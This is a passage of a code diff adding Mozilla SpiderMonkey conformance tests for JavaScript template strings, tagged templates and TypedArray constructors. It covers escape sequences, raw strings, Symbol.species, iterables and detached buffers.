+assertEq("\r\n", `\r\n`);
+
+
+assertEq("\0", eval("`\\" + String.fromCharCode(0) + "`"));
+assertEq("$", `\$`);
+assertEq(".", `\.`);
+assertEq("A", `\A`);
+assertEq("a", `\a`);
+
+
+// digit escape sequence
+assertEq("\0", `\0`);
+syntaxError("`\\1`");
+syntaxError("`\\2`");
+syntaxError("`\\3`");
+syntaxError("`\\4`");
+syntaxError("`\\5`");
+syntaxError("`\\6`");
+syntaxError("`\\7`");
+syntaxError("`\\01`");
+syntaxError("`\\001`");
+syntaxError("`\\00`");
+
+// hex escape sequence
+syntaxError("`\\x`");
+syntaxError("`\\x0`");
+syntaxError("`\\x0Z`");
+syntaxError("`\\xZ`");
+
+assertEq("\0", `\x00`);
+assertEq("$", `\x24`);
+assertEq(".", `\x2E`);
+assertEq("A", `\x41`);
+assertEq("a", `\x61`);
+assertEq("AB", `\x41B`);
+assertEq(String.fromCharCode(0xFF), `\xFF`);
+
+
+// unicode escape sequence
+
+assertEq("\0", `\u0000`);
+assertEq("$", `\u0024`);
+assertEq(".", `\u002E`);
+assertEq("A", `\u0041`);
+assertEq("a", `\u0061`);
+assertEq("AB", `\u0041B`);
+assertEq(String.fromCharCode(0xFFFF), `\uFFFF`);
+
+
+// line continuation
+assertEq("", eval("`\\\n`"));
+assertEq("", eval("`\\\r`"));
+assertEq("", eval("`\\\u2028`"));
+assertEq("", eval("`\\\u2029`"));
+assertEq("\u2028", eval("`\u2028`"));
+assertEq("\u2029", eval("`\u2029`"));
+
+assertEq("a\nb", eval("`a\rb`"))
+assertEq("a\nb", eval("`a\r\nb`"))
+assertEq("a\n\nb", eval("`a\r\rb`"))
+
+
+// source character
+for (var i = 0; i < 0xFF; ++i) {
+ var c = String.fromCharCode(i);
+ if (c == "`" || c == "\\" || c == "\r") continue;
+ assertEq(c, eval("`" + c + "`"));
+}
+
+assertEq("", ``);
+assertEq("`", `\``);
+assertEq("$", `$`);
+assertEq("$$", `$$`);
+assertEq("$$}", `$$}`);
+
+// multi-line
+assertEq(`hey
+there`, "hey\nthere");
+
+// differences between strings and template strings
+syntaxError("var obj = { `illegal`: 1}");
+
+// test for JSON.parse
+assertThrowsInstanceOf(() => JSON.parse('[1, `false`]'), SyntaxError);
+
+syntaxError('({get `name`() { return 10; }});');
+
+// test for "use strict" directive
+assertEq(5, Function("`use strict`; return 05;")());
+var func = function f() {
+ `ignored string`;
+ "use strict";
+ return 06;
+}
+assertEq(6, func());
+syntaxError("\"use strict\"; return 06;");
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/TemplateStrings/shell.js b/js/src/tests/ecma_6/TemplateStrings/shell.js
new file mode 100644
index 000000000..8b1378917
--- /dev/null
+++ b/js/src/tests/ecma_6/TemplateStrings/shell.js
@@ -0,0 +1 @@
+
diff --git a/js/src/tests/ecma_6/TemplateStrings/tagTempl.js b/js/src/tests/ecma_6/TemplateStrings/tagTempl.js
new file mode 100644
index 000000000..1e3f52bfb
--- /dev/null
+++ b/js/src/tests/ecma_6/TemplateStrings/tagTempl.js
@@ -0,0 +1,291 @@
+// This Source Code Form is subject to the terms of the Mozilla Public
+// License, v. 2.0. If a copy of the MPL was not distributed with this
+// file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+// This test case is weird in the sense the actual work happens at the eval
+// at the end. If template strings are not enabled, the test cases would throw
+// a syntax error and we'd have failure reported. To avoid that, the entire
+// test case is commented out and is part of a function. We use toString to
+// get the string version, obtain the actual lines to run, and then use eval to
+// do the actual evaluation.
+
+function syntaxError (script) {
+ try {
+ Function(script);
+ } catch (e) {
+ if (e.name === "SyntaxError") {
+ return;
+ }
+ }
+ throw new Error('Expected syntax error: ' + script);
+}
+
+// function definitions
+function check(actual, expected) {
+ assertEq(actual.length, expected.length);
+ for (var i = 0; i < expected.length; i++)
+ assertEq(actual[i], expected[i]);
+}
+
+function cooked(cs) { return cs; }
+function raw(cs) { return cs.raw; }
+function args(cs, ...rest) { return rest; }
+
+
+// TEST BEGIN
+
+// Literals
+check(raw``, [""]);
+check(raw`${4}a`, ["","a"]);
+check(raw`${4}`, ["",""]);
+check(raw`a${4}`, ["a",""]);
+check(raw`a${4}b`, ["a","b"]);
+check(raw`a${4}b${3}`, ["a","b",""]);
+check(raw`a${4}b${3}c`, ["a","b","c"]);
+check(raw`a${4}${3}c`, ["a","","c"]);
+check(raw`${4}${3}`, ["","",""]);
+check(raw`${4}\r\r${3}`, ["","\\r\\r",""]);
+check(raw`${4}${3}c`, ["","","c"]);
+check(raw`zyx${4}wvut${3}c`, ["zyx","wvut","c"]);
+check(raw`zyx${4}wvut${3}\r\n`, ["zyx","wvut","\\r\\n"]);
+
+check(raw`hey`, ["hey"]);
+check(raw`he\r\ny`, ["he\\r\\ny"]);
+check(raw`he\ry`, ["he\\ry"]);
+check(raw`he\r\ry`, ["he\\r\\ry"]);
+check(raw`he\ny`, ["he\\ny"]);
+check(raw`he\n\ny`, ["he\\n\\ny"]);
+
+check(cooked`hey`, ["hey"]);
+check(cooked`he\r\ny`, ["he\r\ny"]);
+check(cooked`he\ry`, ["he\ry"]);
+check(cooked`he\r\ry`, ["he\r\ry"]);
+check(cooked`he\ny`, ["he\ny"]);
+check(cooked`he\n\ny`, ["he\n\ny"]);
+
+check(eval("raw`\r`"), ["\n"]);
+check(eval("raw`\r\n`"), ["\n"]);
+check(eval("raw`\r\r\n`"), ["\n\n"]);
+check(eval("raw`he\r\ny`"), ["he\ny"]);
+check(eval("raw`he\ry`"), ["he\ny"]);
+check(eval("raw`he\r\ry`"), ["he\n\ny"]);
+check(eval("raw`he\r\r\ny`"), ["he\n\ny"]);
+
+
+check(eval("cooked`\r`"), ["\n"]);
+check(eval("cooked`\r\n`"), ["\n"]);
+check(eval("cooked`\r\r\n`"), ["\n\n"]);
+check(eval("cooked`he\r\ny`"), ["he\ny"]);
+check(eval("cooked`he\ry`"), ["he\ny"]);
+check(eval("cooked`he\r\ry`"), ["he\n\ny"]);
+check(eval("cooked`he\r\r\ny`"), ["he\n\ny"]);
+
+// Expressions
+check(args`hey${"there"}now`, ["there"]);
+check(args`hey${4}now`, [4]);
+check(args`hey${4}`, [4]);
+check(args`${4}`, [4]);
+check(args`${4}${5}`, [4,5]);
+check(args`a${4}${5}`, [4,5]);
+check(args`a${4}b${5}`, [4,5]);
+check(args`a${4}b${5}c`, [4,5]);
+check(args`${4}b${5}c`, [4,5]);
+check(args`${4}${5}c`, [4,5]);
+
+var a = 10;
+var b = 15;
+check(args`${4 + a}${5 + b}c`, [14,20]);
+check(args`${4 + a}${a + b}c`, [14,25]);
+check(args`${b + a}${5 + b}c`, [25,20]);
+check(args`${4 + a}${a + b}c${"a"}`, [14,25,"a"]);
+check(args`a${"b"}${"c"}${"d"}`, ["b","c","d"]);
+check(args`a${"b"}${"c"}${a + b}`, ["b","c",25]);
+check(args`a${"b"}`, ["b"]);
+
+// Expressions - complex substitutions
+check(args`${`hey ${b + a} there`}${5 + b}c`, ["hey 25 there",20]);
+check(args`${`hey ${`my ${b + a} good`} there`}${5 + b}c`, ["hey my 25 good there",20]);
+
+syntaxError("args`${}`");
+syntaxError("args`${`");
+syntaxError("args`${\\n}`");
+syntaxError("args`${yield 0}`");
+syntaxError("args`");
+syntaxError("args`$");
+syntaxError("args`${");
+syntaxError("args.``");
+
+// Template substitution tests in the context of tagged templates
+// Extra whitespace inside a template substitution is ignored.
+check(args`a${
+0
+}`, [0]);
+
+// Extra whitespace between tag and template is ignored
+check(args
+`a
+${
+0
+}`, [0]);
+
+
+check(args`${5}${ // Comments work in template substitutions.
+// Even comments that look like code:
+// 0}`, "FAIL"); /* NOTE: This whole line is a comment.
+0}`, [5,0]);
+
+check(args // Comments work in template substitutions.
+// Even comments that look like code:
+// 0}`, "FAIL"); /* NOTE: This whole line is a comment.
+`${5}${0}`, [5,0]);
+
+
+// Template substitutions are expressions, not statements.
+syntaxError("args`${0;}`");
+check(args`${
+ function f() {
+ return "ok";
+ }()
+}`, ["ok"]);
+
+// Template substitutions can have side effects.
+var x = 0;
+check(args`${x += 1}`, [1]);
+assertEq(x, 1);
+
+// The production for a template substitution is Expression, not
+// AssignmentExpression.
+x = 0;
+check(args`${++x, "o"}k`, ["o"]);
+assertEq(x, 1);
+
+
+// --> is not a comment inside a template.
+check(cooked`
+--> this is text
+`, ["\n--> this is text\n"]);
+
+// reentrancy
+function f(n) {
+ if (n === 0)
+ return "";
+ var res = args`${n}${f(n - 1)}`;
+ return res[0] + res[1] + "";
+}
+assertEq(f(9), "987654321");
+
+// Template string substitutions in generator functions can yield.
+function* g() {
+ var res = args`${yield 1} ${yield 2}`;
+ return res[0] + res[1] + "";
+}
+
+var it = g();
+var next = it.next();
+assertEq(next.done, false);
+assertEq(next.value, 1);
+next = it.next("hello");
+assertEq(next.done, false);
+assertEq(next.value, 2);
+next = it.next("world");
+assertEq(next.done, true);
+assertEq(next.value, "helloworld");
+
+// undefined
+assertEq(args`${void 0}`[0] + "", "undefined");
+assertEq(args`${Object.doesNotHaveThisProperty}`[0] + "", "undefined");
+
+var callSiteObj = [];
+callSiteObj[0] = cooked`aa${4}bb`;
+for (var i = 1; i < 3; i++)
+ callSiteObj[i] = cooked`aa${4}bb`;
+
+// Same call site object behavior
+assertEq(callSiteObj[1], callSiteObj[2]);
+assertEq(callSiteObj[0] !== callSiteObj[1], true);
+assertEq("raw" in callSiteObj[0], true);
+
+// Array length
+assertEq(callSiteObj[0].raw.length, 2);
+assertEq(callSiteObj[0].length, 2);
+
+// Frozen objects
+assertEq(Object.isFrozen(callSiteObj[0]), true);
+assertEq(Object.isFrozen(callSiteObj[0].raw), true);
+
+// Raw not enumerable
+assertEq(callSiteObj[0].propertyIsEnumerable(callSiteObj[0].raw), false);
+
+// Allow call syntax
+check(new ((cs, sub) => function(){ return sub }) `${[1, 2, 3]}`, [1,2,3]);
+
+var a = [];
+function test() {
+ var x = callSite => callSite;
+ for (var i = 0; i < 2; i++)
+ a[i] = eval("x``");
+}
+test();
+assertEq(a[0] !== a[1], true);
+
+// Test that |obj.method`template`| works
+var newObj = {
+ methodRetThis : function () {
+ return this;
+ },
+ methodRetCooked : function (a) {
+ return a;
+ },
+ methodRetRaw : function (a) {
+ return a.raw;
+ },
+ methodRetArgs : function (a, ...args) {
+ return args;
+ }
+}
+
+assertEq(newObj.methodRetThis`abc${4}`, newObj);
+check(newObj.methodRetCooked`abc${4}\r`, ["abc","\r"]);
+check(eval("newObj.methodRetCooked`abc${4}\r`"), ["abc","\n"]);
+check(newObj.methodRetRaw`abc${4}\r`, ["abc","\\r"]);
+check(eval("newObj.methodRetRaw`abc${4}\r`"), ["abc","\n"]);
+check(eval("newObj.methodRetArgs`abc${4}${5}\r${6}`"), [4,5,6]);
+
+// Chained calls
+function func(a) {
+ if (a[0] === "hey") {
+ return function(a) {
+ if (a[0] === "there") {
+ return function(a) {
+ if (a[0] === "mine")
+ return "was mine";
+ else
+ return "was not mine";
+ }
+ } else {
+ return function(a) {
+ return "was not there";
+ }
+ }
+ }
+ } else {
+ return function(a) {
+ return function(a) {
+ return "was not hey";
+ }
+ }
+ }
+}
+
+assertEq(func`hey``there``mine`, "was mine");
+assertEq(func`hey``there``amine`, "was not mine");
+assertEq(func`hey``tshere``amine`, "was not there");
+assertEq(func`heys``there``mine`, "was not hey");
+
+// String.raw
+assertEq(String.raw`h\r\ney${4}there\n`, "h\\r\\ney4there\\n");
+assertEq(String.raw`hey`, "hey");
+assertEq(String.raw``, "");
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/TemplateStrings/templLit.js b/js/src/tests/ecma_6/TemplateStrings/templLit.js
new file mode 100644
index 000000000..0b85ad7d1
--- /dev/null
+++ b/js/src/tests/ecma_6/TemplateStrings/templLit.js
@@ -0,0 +1,118 @@
+// This Source Code Form is subject to the terms of the Mozilla Public
+// License, v. 2.0. If a copy of the MPL was not distributed with this
+// file, You can obtain one at http://mozilla.org/MPL/2.0/.
+
+// This test case is weird in the sense the actual work happens at the eval
+// at the end. If template strings are not enabled, the test cases would throw
+// a syntax error and we'd have failure reported. To avoid that, the entire
+// test case is commented out and is part of a function. We use toString to
+// get the string version, obtain the actual lines to run, and then use eval to
+// do the actual evaluation.
+
+function syntaxError (script) {
+ try {
+ Function(script);
+ } catch (e) {
+ if (e.name === "SyntaxError") {
+ return;
+ }
+ }
+ throw new Error('Expected syntax error: ' + script);
+}
+
+// TEST BEGIN
+
+
+
+// combinations of substitutions
+assertEq("abcdef", `ab${"cd"}ef`);
+assertEq("ab9ef", `ab${4+5}ef`);
+assertEq("cdef", `${"cd"}ef`);
+assertEq("abcd", `ab${"cd"}`);
+assertEq("cd", `${"cd"}`);
+assertEq("", `${""}`);
+assertEq("4", `${4}`);
+
+// multiple substitutions
+assertEq("abcdef", `ab${"cd"}e${"f"}`);
+assertEq("abcdef", `ab${"cd"}${"e"}f`);
+assertEq("abcdef", `a${"b"}${"cd"}e${"f"}`);
+assertEq("abcdef", `${"ab"}${"cd"}${"ef"}`);
+
+// inception
+assertEq("abcdef", `a${`b${"cd"}e${"f"}`}`);
+
+syntaxError("`${}`");
+syntaxError("`${`");
+syntaxError("`${\\n}`");
+syntaxError("`${yield 0}`");
+
+// Extra whitespace inside a template substitution is ignored.
+assertEq(`${
+0
+}`, "0");
+
+assertEq(`${ // Comments work in template substitutions.
+// Even comments that look like code:
+// 0}`, "FAIL"); /* NOTE: This whole line is a comment.
+0}`, "0");
+
+// Template substitutions are expressions, not statements.
+syntaxError("`${0;}`");
+assertEq(`${{}}`, "[object Object]");
+assertEq(`${
+ function f() {
+ return "ok";
+ }()
+}`, "ok");
+
+// Template substitutions can have side effects.
+var x = 0;
+assertEq(`= ${x += 1}`, "= 1");
+assertEq(x, 1);
+
+// The production for a template substitution is Expression, not
+// AssignmentExpression.
+x = 0;
+assertEq(`${++x, "o"}k`, "ok");
+assertEq(x, 1);
+
+// --> is not a comment inside a template.
+assertEq(`
+--> this is text
+`, "\n--> this is text\n");
+
+// reentrancy
+function f(n) {
+ if (n === 0)
+ return "";
+ return `${n}${f(n - 1)}`;
+}
+assertEq(f(9), "987654321");
+
+// Template string substitutions in generator functions can yield.
+function* g() {
+ return `${yield 1} ${yield 2}`;
+}
+
+var it = g();
+var next = it.next();
+assertEq(next.done, false);
+assertEq(next.value, 1);
+next = it.next("hello");
+assertEq(next.done, false);
+assertEq(next.value, 2);
+next = it.next("world");
+assertEq(next.done, true);
+assertEq(next.value, "hello world");
+
+// undefined
+assertEq(`${void 0}`, "undefined");
+assertEq(`${Object.doesNotHaveThisProperty}`, "undefined");
+
+// toString behavior
+assertEq("<toString>", `${{valueOf: () => "<valueOf>", toString: () => "<toString>"}}`);
+assertEq("Hi 42", Function("try {`${{toString: () => { throw 42;}}}`} catch(e) {return \"Hi \" + e;}")());
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/ecma_6/TypedArray/Tconstructor-fromTypedArray-byteLength.js b/js/src/tests/ecma_6/TypedArray/Tconstructor-fromTypedArray-byteLength.js
new file mode 100644
index 000000000..6aadca5c8
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/Tconstructor-fromTypedArray-byteLength.js
@@ -0,0 +1,17 @@
+var g = newGlobal();
+
+var arr = [1, 2, 3];
+for (var constructor of anyTypedArrayConstructors) {
+ var tarr = new constructor(arr);
+ for (var constructor2 of anyTypedArrayConstructors) {
+ var copied = new constructor2(tarr);
+ assertEq(copied.buffer.byteLength, arr.length * constructor2.BYTES_PER_ELEMENT);
+
+ g.tarr = tarr;
+ copied = g.eval(`new ${constructor2.name}(tarr);`);
+ assertEq(copied.buffer.byteLength, arr.length * constructor2.BYTES_PER_ELEMENT);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/browser.js b/js/src/tests/ecma_6/TypedArray/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/browser.js
diff --git a/js/src/tests/ecma_6/TypedArray/constructor-ArrayBuffer-species-wrap.js b/js/src/tests/ecma_6/TypedArray/constructor-ArrayBuffer-species-wrap.js
new file mode 100644
index 000000000..67a50fc91
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/constructor-ArrayBuffer-species-wrap.js
@@ -0,0 +1,63 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+let g = newGlobal();
+
+// Both TypedArray and ArrayBuffer from different global.
+for (let ctor of typedArrayConstructors) {
+ let a = g.eval(`new ${ctor.name}([1, 2, 3, 4, 5]);`);
+ for (let ctor2 of typedArrayConstructors) {
+ let b = new ctor2(a);
+ assertEq(Object.getPrototypeOf(b).constructor, ctor2);
+ assertEq(Object.getPrototypeOf(b.buffer).constructor, g.ArrayBuffer);
+ }
+}
+
+// Only ArrayBuffer from different global.
+let called = false;
+let origSpecies = Object.getOwnPropertyDescriptor(ArrayBuffer, Symbol.species);
+let modSpecies = {
+ get() {
+ called = true;
+ return g.ArrayBuffer;
+ }
+};
+for (let ctor of typedArrayConstructors) {
+ let a = new ctor([1, 2, 3, 4, 5]);
+ for (let ctor2 of typedArrayConstructors) {
+ called = false;
+ Object.defineProperty(ArrayBuffer, Symbol.species, modSpecies);
+ let b = new ctor2(a);
+ Object.defineProperty(ArrayBuffer, Symbol.species, origSpecies);
+ assertEq(called, true);
+ assertEq(Object.getPrototypeOf(b).constructor, ctor2);
+ assertEq(Object.getPrototypeOf(b.buffer).constructor, g.ArrayBuffer);
+ }
+}
+
+// Only TypedArray from different global.
+g.otherArrayBuffer = ArrayBuffer;
+g.eval(`
+var called = false;
+var origSpecies = Object.getOwnPropertyDescriptor(ArrayBuffer, Symbol.species);
+var modSpecies = {
+ get() {
+ called = true;
+ return otherArrayBuffer;
+ }
+};
+`);
+for (let ctor of typedArrayConstructors) {
+ let a = g.eval(`new ${ctor.name}([1, 2, 3, 4, 5]);`);
+ for (let ctor2 of typedArrayConstructors) {
+ g.called = false;
+ g.eval(`Object.defineProperty(ArrayBuffer, Symbol.species, modSpecies);`);
+ let b = new ctor2(a);
+ g.eval(`Object.defineProperty(ArrayBuffer, Symbol.species, origSpecies);`);
+ assertEq(g.called, true);
+ assertEq(Object.getPrototypeOf(b).constructor, ctor2);
+ assertEq(Object.getPrototypeOf(b.buffer).constructor, ArrayBuffer);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/constructor-ArrayBuffer-species.js b/js/src/tests/ecma_6/TypedArray/constructor-ArrayBuffer-species.js
new file mode 100644
index 000000000..4ff511848
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/constructor-ArrayBuffer-species.js
@@ -0,0 +1,51 @@
+let logs = [];
+for (let ctor of typedArrayConstructors) {
+ let arr = new ctor([1, 2, 3, 4, 5, 6, 7, 8]);
+
+ let ctorObj = {};
+
+ let proxyProto = new Proxy({}, {
+ get(that, name) {
+ logs.push("get proto." + String(name));
+ if (name == "constructor")
+ return ctorObj;
+ throw new Error("unexpected prop access");
+ }
+ });
+
+ arr.buffer.constructor = {
+ get [Symbol.species]() {
+ logs.push("get @@species");
+ let C = new Proxy(function(...args) {
+ logs.push("call ctor");
+ return new ArrayBuffer(...args);
+ }, {
+ get(that, name) {
+ logs.push("get ctor." + String(name));
+ if (name == "prototype") {
+ return proxyProto;
+ }
+ throw new Error("unexpected prop access");
+ }
+ });
+ return C;
+ }
+ };
+
+ for (let ctor2 of typedArrayConstructors) {
+ logs.length = 0;
+ let arr2 = new ctor2(arr);
+ assertDeepEq(logs, ["get @@species", "get ctor.prototype"]);
+
+ logs.length = 0;
+ assertEq(Object.getPrototypeOf(arr2.buffer), proxyProto);
+ assertDeepEq(logs, []);
+
+ logs.length = 0;
+ assertEq(arr2.buffer.constructor, ctorObj);
+ assertDeepEq(logs, ["get proto.constructor"]);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/constructor-iterable-generator.js b/js/src/tests/ecma_6/TypedArray/constructor-iterable-generator.js
new file mode 100644
index 000000000..233eeb9d9
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/constructor-iterable-generator.js
@@ -0,0 +1,16 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from generator.
+for (let constructor of anyTypedArrayConstructors) {
+ for (let array of [[], [1], [2, 3], [4, 5, 6], Array(1024).fill(0).map((v, i) => i % 128)]) {
+ let typedArray = new constructor(function*(){ yield* array; }());
+
+ assertEq(typedArray.length, array.length);
+ assertEqArray(typedArray, array);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/constructor-iterable-modified-array-iterator-next.js b/js/src/tests/ecma_6/TypedArray/constructor-iterable-modified-array-iterator-next.js
new file mode 100644
index 000000000..76eaaae46
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/constructor-iterable-modified-array-iterator-next.js
@@ -0,0 +1,28 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from array with modified array iterator next method.
+const ArrayIteratorPrototype = Object.getPrototypeOf([][Symbol.iterator]());
+const origNext = ArrayIteratorPrototype.next;
+const modifiedNext = function() {
+ let {value, done} = origNext.call(this);
+ return {value: value * 5, done};
+};
+for (let constructor of anyTypedArrayConstructors) {
+ for (let array of [[], [1], [2, 3], [4, 5, 6], Array(1024).fill(0).map((v, i) => i % 24)]) {
+ ArrayIteratorPrototype.next = modifiedNext;
+ let typedArray;
+ try {
+ typedArray = new constructor(array);
+ } finally {
+ ArrayIteratorPrototype.next = origNext;
+ }
+
+ assertEq(typedArray.length, array.length);
+ assertEqArray(typedArray, array.map(v => v * 5));
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/constructor-iterable-modified-array-iterator.js b/js/src/tests/ecma_6/TypedArray/constructor-iterable-modified-array-iterator.js
new file mode 100644
index 000000000..7c3192a6a
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/constructor-iterable-modified-array-iterator.js
@@ -0,0 +1,28 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from array with modified array iterator.
+const origIterator = Array.prototype[Symbol.iterator];
+const modifiedIterator = function*() {
+ for (let v of origIterator.call(this)) {
+ yield v * 5;
+ }
+};
+for (let constructor of anyTypedArrayConstructors) {
+ for (let array of [[], [1], [2, 3], [4, 5, 6], Array(1024).fill(0).map((v, i) => i % 24)]) {
+ Array.prototype[Symbol.iterator] = modifiedIterator;
+ let typedArray;
+ try {
+ typedArray = new constructor(array)
+ } finally {
+ Array.prototype[Symbol.iterator] = origIterator;
+ }
+
+ assertEq(typedArray.length, array.length);
+ assertEqArray(typedArray, array.map(v => v * 5));
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/constructor-iterable-nonpacked-array.js b/js/src/tests/ecma_6/TypedArray/constructor-iterable-nonpacked-array.js
new file mode 100644
index 000000000..b9586a57e
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/constructor-iterable-nonpacked-array.js
@@ -0,0 +1,17 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from iterable non-packed array.
+for (let constructor of anyTypedArrayConstructors) {
+ for (let array of [[,], [,,], Array(1024)]) {
+ let typedArray = new constructor(array);
+
+ assertEq(typedArray.length, array.length);
+ let expectedArray = Array(array.length).fill(isFloatConstructor(constructor) ? NaN : 0);
+ assertEqArray(typedArray, expectedArray);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/constructor-iterable-not-callable.js b/js/src/tests/ecma_6/TypedArray/constructor-iterable-not-callable.js
new file mode 100644
index 000000000..824760900
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/constructor-iterable-not-callable.js
@@ -0,0 +1,15 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from object with non-callable [Symbol.iterator] property.
+for (let constructor of anyTypedArrayConstructors) {
+ for (let iterator of [true, 0, Math.PI, "", "10", Symbol.iterator, {}, []]) {
+ assertThrowsInstanceOf(() => new constructor({
+ [Symbol.iterator]: iterator
+ }), TypeError);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/constructor-iterable-packed-array-side-effect.js b/js/src/tests/ecma_6/TypedArray/constructor-iterable-packed-array-side-effect.js
new file mode 100644
index 000000000..3c00af0de
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/constructor-iterable-packed-array-side-effect.js
@@ -0,0 +1,17 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from iterable packed array, array contains object with modifying
+// valueOf() method.
+for (let constructor of anyTypedArrayConstructors) {
+ let array = [
+ 0, 1, {valueOf() { array[3] = 30; return 2; }}, 3, 4
+ ];
+ let typedArray = new constructor(array);
+ assertEq(typedArray.length, array.length);
+ assertEqArray(typedArray, [0, 1, 2, 3, 4]);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/constructor-iterable-packed-array.js b/js/src/tests/ecma_6/TypedArray/constructor-iterable-packed-array.js
new file mode 100644
index 000000000..495c2da49
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/constructor-iterable-packed-array.js
@@ -0,0 +1,16 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from iterable packed array.
+for (let constructor of anyTypedArrayConstructors) {
+ for (let array of [[], [1], [2, 3], [4, 5, 6], Array(1024).fill(0).map((v, i) => i % 128)]) {
+ let typedArray = new constructor(array);
+
+ assertEq(typedArray.length, array.length);
+ assertEqArray(typedArray, array);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/constructor-iterable-undefined-or-null.js b/js/src/tests/ecma_6/TypedArray/constructor-iterable-undefined-or-null.js
new file mode 100644
index 000000000..48e5aaa64
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/constructor-iterable-undefined-or-null.js
@@ -0,0 +1,22 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Construct typed array from object with undefined or null [Symbol.iterator] property.
+for (let constructor of anyTypedArrayConstructors) {
+ for (let iterator of [undefined, null]) {
+ let arrayLike = {
+ [Symbol.iterator]: iterator,
+ length: 2,
+ 0: 10,
+ 1: 20,
+ };
+ let typedArray = new constructor(arrayLike);
+
+ assertEq(typedArray.length, arrayLike.length);
+ assertEqArray(typedArray, arrayLike);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/constructor-iterator-primitive.js b/js/src/tests/ecma_6/TypedArray/constructor-iterator-primitive.js
new file mode 100644
index 000000000..5a14d7d5a
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/constructor-iterator-primitive.js
@@ -0,0 +1,29 @@
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+for (let ctor of typedArrayConstructors) {
+ for (let primitive of primitives) {
+ let arg = {
+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertThrowsInstanceOf(() => {
+ new ctor(arg);
+ }, TypeError);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/TypedArray/constructor-non-detached.js b/js/src/tests/ecma_6/TypedArray/constructor-non-detached.js
new file mode 100644
index 000000000..bbfb317dc
--- /dev/null
+++ b/js/src/tests/ecma_6/TypedArray/constructor-non-detached.js
@@ -0,0 +1,15 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs detachArrayBuffer
+
+for (var constructor of typedArrayConstructors) {
+ var buf = new constructor();
+ detachArrayBuffer(buf.buffer);
+ assertThrowsInstanceOf(() => new constructor(buf), TypeError);
+
+ var buffer = new ArrayBuffer();
+ detachArrayBuffer(buffer);
+ assertThrowsInstanceOf(() => new constructor(buffer), TypeError);
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/TypedArray/constructor-not-callable.js b/js/src/tests/ecma_6/TypedArray/constructor-not-callable.js
new file mode 100644
index 000000000..a3a2f8d1d
